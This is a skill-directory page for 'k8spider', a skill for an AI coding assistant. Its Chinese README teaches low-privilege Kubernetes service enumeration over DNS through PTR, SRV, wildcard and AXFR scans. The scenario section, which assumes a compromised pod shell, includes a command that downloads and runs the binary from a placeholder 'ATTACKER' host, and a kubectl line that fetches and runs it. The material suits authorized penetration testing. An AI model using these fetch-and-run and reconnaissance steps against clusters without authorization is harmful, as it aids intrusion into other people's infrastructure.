mcpField
K
k8spider

k8spider

github.com/wgpsecSecurity1.8k43 installsUpdated 4d ago
Repository

About k8spider

A command-line skill guide for k8spider, a DNS-based Kubernetes service discovery tool. It is for security practitioners examining cluster services and describes discovery methods that do not require an API Server token or special permissions.

Key features

  1. 01DNS-based Kubernetes service discovery
  2. 02PTR, SRV, and wildcard record scans
  3. 03DNS zone transfer attempts
  4. 04Neighbor and subnet scans
  5. 05kube-state-metrics parsing

Use cases

  1. 01Enumerating services from a Pod shell
  2. 02Checking cluster services with kubectl exec
  3. 03Discovering services when only cluster DNS is reachable

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/wgpsec/aboutsecurity --skill k8spider

After installing, type/k8spiderin Claude Code to confirm it loaded.

Details

From the project README

K8Spider — Kubernetes DNS 服务发现

k8spider 是一个基于 DNS 的 K8s 服务发现工具——只需能访问集群 DNS,即可低权限枚举所有 Service。无需 API Server Token,无需特殊权限,纯 DNS 查询搞定。

项目地址:https://github.com/Esonhugh/k8spider

第一步:直接运行(使用默认参数)

k8spider 会从 /etc/resolv.conf 自动读取 DNS 服务器地址,使用内置默认 CIDR。先直接跑:

k8spider all

如果有输出,说明默认参数命中了,直接进入分析环节。

第二步:默认参数无结果时,手动收集网络信息

如果 k8spider all 没有发现任何信息,说明默认 CIDR 或 DNS 不对,需要从当前机器收集真实参数。

确定目标 CIDR(-c 参数)

CIDR 网段需要从当前容器的网络配置中提取:

# 方式 1:从环境变量获取(K8s 注入)
echo $KUBERNETES_SERVICE_HOST
# 返回的 IP 所在网段通常就是 Service CIDR 范围

# 方式 2:从 IP 地址推断
ip addr show  # 或 ifconfig
# 找到容器自身 IP 和掩码,推断所在网段

# 方式 3:从路由表推断
ip route
# 查看路由信息,推断集群网段范围

Pod 网段和 Service 网段通常是相邻的 /16,可从容器自身 IP 推断 Service CIDR 的可能范围。

确定并验证 DNS 服务器(-d 参数)

DNS 地址必须通过可靠方式找到并验证可用:

# 方式 1:从 resolv.conf 读取(最可靠)
cat /etc/resolv.conf
# nameserver 行就是集群 DNS 地址

# 方式 2:用 k8spider 自带命令定位
k8spider whereisdns

# 验证 DNS 是否可达且响应
nslookup kubernetes.default.svc.cluster.local <DNS_IP>
# 或
dig @<DNS_IP> kubernetes.default.svc.cluster.local
# 有正常应答说明 DNS 可用

验证通过后再指定 DNS 运行:

k8spider all -d <DNS_IP> -c <CIDR>

核心命令

全量扫描(推荐首选)

一键跑完所有发现方式,获取最全面的服务列表:

# 先用默认参数试
k8spider all

# 默认不生效时,用手动收集的参数
k8spider all -c <CIDR> -d <DNS_IP>

# 输出示例:
# [PTR] 10.43.0.10 -> dns-default.kube-system.svc.cluster.local
# [PTR] 10.43.0.1 -> kube-dns.kube-system.svc.cluster.local
# [SRV] _http._tcp.kubernetes.default.svc.cluster.local -> 10.43.0.1:443
PTR 记录扫描(反向 DNS)

通过 IP 反查域名,逐 IP 扫描网段:

k8spider ptr -c <CIDR>

PTR 扫描的逻辑:对 CIDR 中每个 IP 发起反向 DNS 查询,K8s DNS 会返回 svc-name.namespace.svc.cluster.local 格式的域名,直接暴露服务名和命名空间。

SRV 记录枚举

查询 DNS SRV 记录发现服务端口:

k8spider srv -c <CIDR> -z cluster.local
通配符 DNS 查询

利用 K8s DNS 的通配符解析特性发现服务:

k8spider wild -c <CIDR> -z cluster.local
AXFR 区域传输

尝试 DNS 区域传输,一次获取整个 zone 的所有记录:

k8spider axfr -z cluster.local -d <DNS_IP>

注意:AXFR 通常被限制,但值得一试——如果成功,这是最快最全的方式。

同网段扫描

发现 DNS 服务所在子网的服务:

k8spider neighbor -d <DNS_IP>
子网计算与扫描

自动计算 DNS 服务所在子网并扫描:

k8spider subnet -d <DNS_IP>
kube-state-metrics 解析

从 kube-state-metrics 端点提取服务信息:

k8spider metrics

全局选项

选项说明默认值
-c目标 CIDR 网段内置默认值,视环境而定
-zDNS zone 名称cluster.local
-dDNS 服务器地址从 resolv.conf 读取
-t启用多线程关闭
-n线程数10

使用场景

场景 1:Pod 内使用(已拿到容器 shell)
# 投递二进制到容器
curl -o /tmp/k8spider https://ATTACKER/k8spider && chmod +x /tmp/k8spider

# 直接用默认参数跑
/tmp/k8spider all

# 没结果再收集网络信息手动指定
场景 2:通过 kubectl 使用
# 在现有 Pod 中执行
kubectl exec -it target-pod -- ./k8spider all

# 或创建临时 Pod
kubectl run k8spider --image=busybox --restart=Never -- \
  wget -O /tmp/k8spider URL && /tmp/k8spider all
场景 3:远程使用(需 DNS 可达)
# 必须手动指定 -d 和 -c,远程环境下默认参数基本不适用
k8spider all -c <CIDR> -d <DNS_IP> -z cluster.local

决策树

进入容器后:
├─ 第一步:k8spider all(直接用默认参数跑)
├─ 有结果 → 分析输出,拿到服务列表
├─ 无结果 → 收集网络信息
│   ├─ 获取 CIDR:从 ip addr / ifconfig / 环境变量推断
│   ├─ 获取 DNS:cat /etc/resolv.conf 或 k8spider whereisdns
│   └─ 验证 DNS:nslookup kubernetes.default.svc.cluster.local <DNS_IP>
├─ 用收集到的参数重跑:k8spider all -c <CIDR> -d <DNS_IP>
├─ 想要端口信息 → k8spider srv
├─ 赌一把全量 → k8spider axfr
├─ 想快速发现 → k8spider neighbor / k8spider subnet
├─ 有 metrics 端点 → k8spider metrics
└─ 网段大、速度慢 → 加 -t -n 50 开多线程

Comments

Markdown supported